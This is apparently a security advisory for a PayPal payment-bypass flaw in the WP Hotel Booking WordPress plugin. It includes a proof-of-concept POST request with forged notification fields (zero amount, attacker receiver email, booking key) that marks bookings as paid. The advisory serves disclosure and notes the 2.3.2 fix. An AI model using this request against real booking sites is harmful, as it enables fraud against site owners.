WP Hotel Booking < 2.3.2 – Unauthenticated PayPal Payment Bypass | CVE 2026-15152

Description

The plugin does not verify that a payment notification corresponds to a payment made to the site's own merchant account, nor that the paid amount matches the booking total, allowing unauthenticated users to have their bookings marked as fully paid without any payment reaching the site owner.

Proof of Concept

Prerequisites: a booking started by any visitor (they hold its booking_key); PayPal
Standard gateway enabled. The attacker models their own genuine PayPal payment (a real
VERIFIED): PayPal posts to the plugin's notify_url. Because the plugin (<= 2.3.1) never
checks that the payment's receiver matches the site merchant, and its amount guard
compares against an uninitialised booking total that defaults to 0, a payment to the
attacker's own account (or an amount of 0.00) is accepted as full payment.

POST https://victim.example/?hotel-booking-paypal-standard=1
  txn_type=web_accept
  payment_status=Completed
  payment_gross=0.00
  mc_currency=USD
  txn_id=<attacker payment txn id>
  receiver_email=attacker@paypal.example
  business=attacker@paypal.example
  custom={"booking_id":<id>,"booking_key":"<key>"}

Result on <= 2.3.1: booking hb-pending -> hb-completed (marked paid in full for free);
a real non-zero self-payment advances it to hb-processing. Fixed in 2.3.2, where the
receiver_email / amount / txn_id are validated (an attacker receiver is rejected).